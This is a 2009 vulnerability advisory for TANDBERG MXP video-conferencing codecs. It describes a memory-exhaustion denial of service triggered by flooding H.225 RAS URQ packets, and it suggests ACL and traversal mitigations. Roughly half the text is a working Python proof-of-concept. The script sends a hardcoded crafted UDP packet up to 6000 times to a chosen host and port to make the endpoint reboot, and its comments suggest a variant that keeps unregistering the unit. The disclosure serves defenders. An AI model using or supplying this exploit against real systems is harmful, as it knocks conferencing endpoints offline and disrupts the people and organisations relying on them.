Security Advisory Platform : TANDBERG Date : November 6, 2009 Affected : All MXP FIPS140 Current as of December 8, 2009 Tested : F8.2, F8.0, F7.2, F6.3 Unconf : VCS, BC, C90 Author : otokoyama Problem Description: Issues with the H.225 RAS implementation in TANDBERG Codecs. *This has been confirmed when FIPS140 Mode is set to active.* For the DoS to affect that Tandberg, H.323 Gatekeeper mode must be set to "On" or "Auto" as opposed to off. The Tandberg Endpoint does not have to be registered with a gatekeeper. The DoS is simply sending a RAS URQ request >3280 times. The Tandberg endpoint will swiftly run out of memory to process the request and subsequently reboot. The packet repetition amount required to crash depends on how many other legitimate requests the Endpoint is holding in its stack, if the tester wishes for clean results she/he may wish to reboot the Endpoint before running the PoC. However it is difficult to fit in any payload after the crashing packet (in a live remote exploit)as the person attempting this would have no control over what is already in the Endpoint network stack but due to the nature of video conferencing. This DoS would be effective on a large number of Endpoints that are on public IP. It is quite possible that the routed Endpoints(traversal, NAT, Port Forwarding) would allow this packet through as it is seemingly legitimate(most VC Network Admins set up Deep Packet Inspection exclusions to the VC Endpoints due to the nature of RTP, which in TCPDUMP looks like a UDP flood anyway) This is by no means a new vuln and it has existed on many platforms and products till today (and still does ;)) but it's high time it got patched. Mitigation : Block RAS requests at the router with an ACL, destport:1719 : Invest in traversal infrastructure and deploy it correctly. Code attached. Feel free to vrfy. #-----------No error detection\ success confirmation ]\ # / # -otk _______________/ import socket, sys if len(sys.argv)!= 3: print "\n[*] Usage: %s \n" % sys.argv[0] sys.exit(0) host = sys.argv[1] port = int(sys.argv[2]) #port 1719 by default pkt = ( "\x18\x40\xf9\x12\x01\x00\xc0\xa8" "\x01\x23\x06\xb8\x4a\x00\x32\x00" "\x33\x00\x64\x00\x66\x00\x35\x00" "\x35\x00\x39\x00\x65\x00\x2d\x00" "\x31\x00\x65\x00\x61\x00\x66\x00" "\x2d\x00\x31\x00\x31\x00\x62\x00" "\x32\x00\x2d\x00\x61\x00\x38\x00" "\x39\x00\x35\x00\x2d\x00\x30\x00" "\x30\x00\x31\x00\x30\x00\x66\x00" "\x33\x00\x31\x00\x38\x00\x65\x00" "\x64\x00\x30\x00\x62\x00\x5f\x00" "\x62") print "[+] Connecting to %s on port %d" % (host,port) s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) i = 0 while(1): i += 1 if (i <= 6000): #Change to increase possibility of crash data = s.sendto ( pkt, ((host,port)) ) print "[+] Sending packet" #remove this if you don't like spam else: #You could also change this area to send a slow #interval RAS URQ, essentially unregistering #the unit constantly, this wouldn't shut it #down but would be very annoying. break print "[+] done, if host is still up you lost, check tcpdump\n"